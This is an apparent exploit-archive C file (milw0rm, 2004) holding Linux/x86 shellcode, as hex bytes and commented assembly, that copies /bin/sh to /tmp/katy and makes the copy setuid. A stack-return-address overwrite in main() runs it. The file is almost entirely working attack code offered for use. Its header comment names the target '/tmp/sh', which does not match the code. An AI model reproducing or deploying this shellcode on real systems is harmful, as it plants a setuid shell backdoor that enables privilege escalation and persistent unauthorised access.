/*
* Linux/x86
*
* /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
*/
#include <stdio.h>
char shellcode[] =
"\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
"\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
"\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
"\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
"\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
"\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
"\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
/* Code */
/*
__asm__("
jmp 0x5e
popl %edi
xorl %eax,%eax
movb %al,0x7(%edi)
movb %al,0xf(%edi)
movb %al,0x19(%edi)
movl %edi,0x1a(%edi)
leal 0x8(%edi),%esi
movl %esi,0x1e(%edi)
xorl %esi,%esi
leal 0x10(%edi),%esi
movl %esi,0x22(%edi)
movl %eax,0x26(%edi)
movl %edi,%ebx
leal 0x1a(%edi),%ecx
leal 0x26(%edi),%edx
xorl %eax,%eax
movb $0x2,%al
int $0x80
xorl %esi,%esi
cmpl %eax,%esi
jne 0x6
movb $0xb,%al
int $0x80
jmp 0x1d
xorl %edx,%edx
xorl %eax,%eax
xorl %ebx,%ebx
dec %ebx
leal 0x26(%edi),%ecx
movb $0x7,%al
int $0x80
xorl %eax,%eax
leal 0x10(%edi),%ebx
xorl %ecx,%ecx
movw $0x96d,%cx
movb $0xf,%al
int $0x80
xorl %eax,%eax
inc %eax
xorl %ebx,%ebx
int $0x80
call -0x63
.ascii \"/bin/cp8/bin/sh8/tmp/katy\"
");
*/
/*
RaiSe <raise@undersec.com>
http://www.undersec.com
*/
// milw0rm.com [2004-09-26]
